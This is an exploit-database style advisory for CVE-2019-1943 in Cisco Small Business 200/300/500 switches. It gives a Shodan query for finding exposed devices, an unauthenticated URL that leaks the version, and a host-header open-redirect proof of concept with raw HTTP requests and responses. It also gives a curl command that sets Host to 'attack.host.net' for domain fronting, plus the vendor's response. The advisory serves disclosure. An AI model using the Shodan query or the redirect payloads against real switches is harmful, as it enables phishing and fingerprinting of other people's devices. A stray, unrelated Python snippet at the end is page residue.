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"CISCO Small Business 200 / 300 / 500 Switches - Multiple Vulnerabilities"

Author

Exploit author

Ramikan

Platform

Exploit platform

hardware

Release date

Exploit published date

2019-07-15

Download file

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# Exploit Title: CISCO Small Business 200, 300, 500 Switches Multiple Vulnerabilities.
# Shodan query: /config/log_off_page.html
# Discovered Date: 07/03/2014
# Reported Date: 08/04/2019
# Exploit Author: Ramikan 
# Website: http://fact-in-hack.blogspot.com
# Vendor Homepage:https://www.cisco.com/c/en/us/products/switches/small-business-300-series-managed-switches/index.html
# Affected Devices:  The affected products are all Cisco Small Business 200, 300, and 500 Series Managed Switches with the web management interface enabled, 
# Tested On: Cisco C300 Switch
# Version: 1.3.7.18
# CVE : CVE-2019-1943
# CVSS v3: 4.7 (AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N)
# Category:Hardware, Web Apps
# Reference : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190717-sbss-redirect

*************************************************************************************************************************************

Vulnerability 1: Information Gathering

*************************************************************************************************************************************

Unauthenticated user can find the version number and device type by visiting this link directly.

Affected URL:

/cs703dae2c/device/English/dictionaryLogin.xml

*************************************************************************************************************************************

Vulnerability 2: Open Redirect due to host header.

*************************************************************************************************************************************

Can change to different domain under the host header and redirect the request to fake website and can be used for phishing attack also can be used for domain fronting.

Normal Request

GET / HTTP/1.1
Host: 10.1.1.120
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Connection: close
Cache-Control: max-age=0

Normal Response

HTTP/1.1 302 Redirect
Server: GoAhead-Webs
Date: Fri Mar 07 09:40:22 2014
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: https://10.21.151.120/cs703dae2c/

<html><head></head><body>
                        This document has moved to a new <a href="https://10.1.1.120/cs703dae2c/">location</a>.
                        Please update your documents to reflect the new location.
                        </body></html>
*************************************************************************************************************************************
POC 
*************************************************************************************************************************************

Host Header changed to different domain (example google.com).

Request:

GET /cs703dae2c HTTP/1.1
Host: google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: activeLangId=English; isStackableDevice=false
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 302 Redirect
activeLangId=English; isStackableDevice=falseServer: GoAhead-Webs
Date: Fri Mar 07 09:45:26 2014
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://google.com/cs703dae2c/config/log_off_page.htm

<html><head></head><body>
                        This document has moved to a new <a href="http://google.com/cs703dae2c/config/log_off_page.htm">location</a>.
                        Please update your documents to reflect the new location.
                        </body></html>


The redirection is happening to http://google.com/cs703dae2c/config/log_off_page.htm. The attacker need to be in same network and should be able to modify the victims request on the wire in order to trigger this vulnerabilty.

*************************************************************************************************************************************
Attack Vector:
*************************************************************************************************************************************
Can be used for domain fronting.

curl -k --header "Host: attack.host.net" "domainname of the cisco device"


*************************************************************************************************************************************
Vendor Response:
*************************************************************************************************************************************

Issue 1:
Due to the limited information given out, we are not considering it a vulnerability as such. Still, it would be better if it was not happening, so, we will treat it as a hardening enhancement.

Issue 2:
The developers won't be able to provide a fix for this in the short term (90 days), so, we are planning to disclose this issue through an advisory on July 17th 2019.

We have assigned CVE CVE-2019-1943 for this issue.

Reference: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190717-sbss-redirect
*************************************************************************************************************************************
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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